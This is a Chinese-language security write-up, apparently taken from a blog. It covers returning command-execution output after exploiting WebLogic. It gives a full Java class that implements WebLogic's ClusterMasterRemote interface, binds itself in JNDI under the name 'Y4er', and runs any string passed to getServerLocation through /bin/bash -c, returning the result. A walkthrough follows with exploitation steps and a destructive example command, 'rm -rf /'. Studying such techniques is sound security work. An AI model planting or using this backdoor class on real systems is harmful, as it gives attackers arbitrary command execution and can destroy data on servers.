通过字节码来自定义一个RMI接口类,在类实现的方法中返回命令执行的结果。
注意我们要找的是interface,并且我们要返回命令执行的结果,所以方法的返回类型应该为String,并且方法必须抛出 java.rmi.RemoteException 异常。
这里选择weblogic.cluster.singleton.ClusterMasterRemote接口。
public class RemoteImpl implements ClusterMasterRemote {
public static void main(String[] args) {
RemoteImpl remote = new RemoteImpl();
try {
Context context = new InitialContext();
context.rebind("Y4er",remote);
} catch (Exception e) {
e.printStackTrace();
}
}
@Override
public void setServerLocation(String cmd, String args) throws RemoteException {
}
@Override
public String getServerLocation(String cmd) throws RemoteException {
try {
List<String> cmds = new ArrayList<String>();
cmds.add("/bin/bash");
cmds.add("-c");
cmds.add(cmd);
ProcessBuilder processBuilder = new ProcessBuilder(cmds);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
return sb.toString();
} catch (Exception e) {
return e.getMessage();
}
}
}
这段代码实现了一个远程调用对象 RemoteImpl
,它可能会被注册到JNDI(Java Naming and Directory Interface)中,并用于远程方法调用。这个类实现了接口 ClusterMasterRemote
,并提供了远程调用的方法,尤其是getServerLocation
方法中直接执行传入的Shell命令。因此,这个类存在潜在的**远程命令执行(RCE)**漏洞。
以下是详细解析:
1. 类结构概览
public class RemoteImpl implements ClusterMasterRemote
- 该类实现了
ClusterMasterRemote
接口,因此需要定义接口中声明的方法。 - 它包含两个方法:
setServerLocation
和getServerLocation
。
2. main
方法
public static void main(String[] args) {
RemoteImpl remote = new RemoteImpl();
try {
Context context = new InitialContext();
context.rebind("Y4er", remote);
} catch (Exception e) {
e.printStackTrace();
}
}
- 这个
main
方法的功能是将RemoteImpl
对象绑定到 JNDI 注册表中,使用名称"Y4er"
。 - 通过
context.rebind()
方法,将这个对象暴露出来,使其他客户端可以通过 JNDI 查找到这个对象并调用其方法。 - 潜在风险:如果JNDI注册表是开放的,攻击者可以通过JNDI查找并远程调用这个对象的方法。
3. setServerLocation
方法
@Override
public void setServerLocation(String cmd, String args) throws RemoteException {
}
- 这个方法被定义为空,没有实际功能。
- 但由于该方法是接口的一部分,因此必须进行实现。
4. getServerLocation
方法
@Override
public String getServerLocation(String cmd) throws RemoteException {
try {
List<String> cmds = new ArrayList<>();
cmds.add("/bin/bash");
cmds.add("-c");
cmds.add(cmd);
ProcessBuilder processBuilder = new ProcessBuilder(cmds);
processBuilder.redirectErrorStream(true);
Process proc = processBuilder.start();
BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
StringBuffer sb = new StringBuffer();
String line;
while ((line = br.readLine()) != null) {
sb.append(line).append("\n");
}
return sb.toString();
} catch (Exception e) {
return e.getMessage();
}
}
功能解析:
- 接收输入命令并执行:
- 方法
getServerLocation(String cmd)
接受一个命令字符串cmd
作为输入。 - 使用
ProcessBuilder
直接构建并执行该命令,/bin/bash -c
允许在 Bash shell 中执行传入的命令。
- 方法
- 获取执行结果:
redirectErrorStream(true)
将标准错误流合并到标准输出流,以确保捕获所有输出。- 通过
BufferedReader
读取命令执行后的输出,并将其返回。
- 异常处理:
- 如果命令执行出错,捕获异常并返回异常信息。
潜在安全风险:
- 由于
getServerLocation
方法直接接受用户输入并在 Bash shell 中执行,这就意味着存在远程代码执行(RCE)漏洞。 - 如果攻击者能够通过 JNDI 查找到并调用
getServerLocation
方法,那么攻击者可以传入任意命令,并在服务器上执行。例如,传入命令rm -rf /
可能会删除整个服务器文件系统。
如何利用漏洞:
- 攻击者通过 JNDI 查找注册的
"Y4er"
对象。 - 使用远程方法调用 (
getServerLocation
) 传递恶意命令。 - 服务器上将会执行攻击者传入的命令,并返回执行结果。
来源:https://y4er.com/posts/weblogic-uses-classloader-and-rmi-to-display-command-execution-results/